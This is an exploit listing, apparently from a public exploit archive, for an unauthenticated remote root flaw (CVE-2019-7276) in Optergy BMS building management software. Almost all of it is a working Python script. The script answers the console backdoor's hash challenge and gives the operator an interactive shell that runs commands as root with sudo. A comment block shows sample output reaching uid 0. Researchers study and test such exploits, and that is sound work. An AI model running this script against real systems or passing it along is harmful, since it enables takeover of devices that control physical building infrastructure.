Optergy BMS 2.0.3a Remote Root

Optergy BMS versions 2.0.3a and below unauthenticated remote root exploit. Related CVE number: CVE-2019-7276.


MD5 | 828db05389246ed7db50064512079555

#!/usr/bin/env python
#
# Unauthenticated Remote Root Exploit in Optergy BMS (Console Backdoor)
#
# Affected version <=2.0.3a (Proton and Enterprise)
# Discovered by Gjoko 'LiquidWorm' Krstic
#
# CVE: CVE-2019-7276
# Advisory: https://applied-risk.com/resources/ar-2019-008
#
##############################################################################
#
# [email protected]:~/stuff/optergy$ python getroot.py 192.168.232.19
# Challenge received: 1547540929287
# SHA1: 56a6e5bf103591ed45faa2159cae234d04f06d93
# MD5 from SHA1: 873efc9ca9171d575623a99aeda44e31
# Answer: 56a6e5bf103591ed45faa2159cae234d04f06d93873efc9ca9171d575623a99aeda44e31
# # id
# uid=0(root) gid=0(root) groups=0(root)
#
##############################################################################
#
#

import os#######
import sys######
import json#####
import hashlib##
import requests#

piton = os.path.basename(sys.argv[0])

if len(sys.argv) < 2:
print '\n\x20\x20[*] Usage: '+piton+' <ip:port>\n'
sys.exit()

while True:

challenge_url = 'http://'+sys.argv[1]+'/tools/ajax/ConsoleResult.html?get'

try:
req1 = requests.get(challenge_url)
get_challenge = json.loads(req1.text)
challenge = get_challenge['response']['message']
print 'Challenge received: ' + challenge

hash_object = hashlib.sha1(challenge.encode())
print 'SHA1: '+(hash_object.hexdigest())
h1 = (hash_object.hexdigest())
hash_object = hashlib.md5(h1.encode())
print 'MD5 from SHA1: '+(hash_object.hexdigest())
h2 = (hash_object.hexdigest())
print 'Answer: '+h1+h2

zeTargets = 'http://'+sys.argv[1]+'/tools/ajax/ConsoleResult.html'
zeCommand = raw_input('# ')
if zeCommand.strip() == 'exit':
sys.exit()
zeHeaders = {'User-Agent' : 'BB/BMS-251.4ev4h',
'Accept' : '*/*',
'Accept-Encoding' : 'gzip, deflate',
'Accept-Language' : 'mk-MK,mk;q=1.7',
'Connection' : 'keep-alive',
'Connection-Type' : 'application/x-www-form-urlencoded'}
zePardata = {'command' : 'sudo '+zeCommand,
'challenge' : challenge,
'answer' : h1+h2}

zeRequest = requests.post(zeTargets, headers=zeHeaders, data=zePardata)
get_resp = json.loads(zeRequest.text)
get_answ = get_resp['response']['message']
print get_answ
except Exception:
print '[*] Error!'
break

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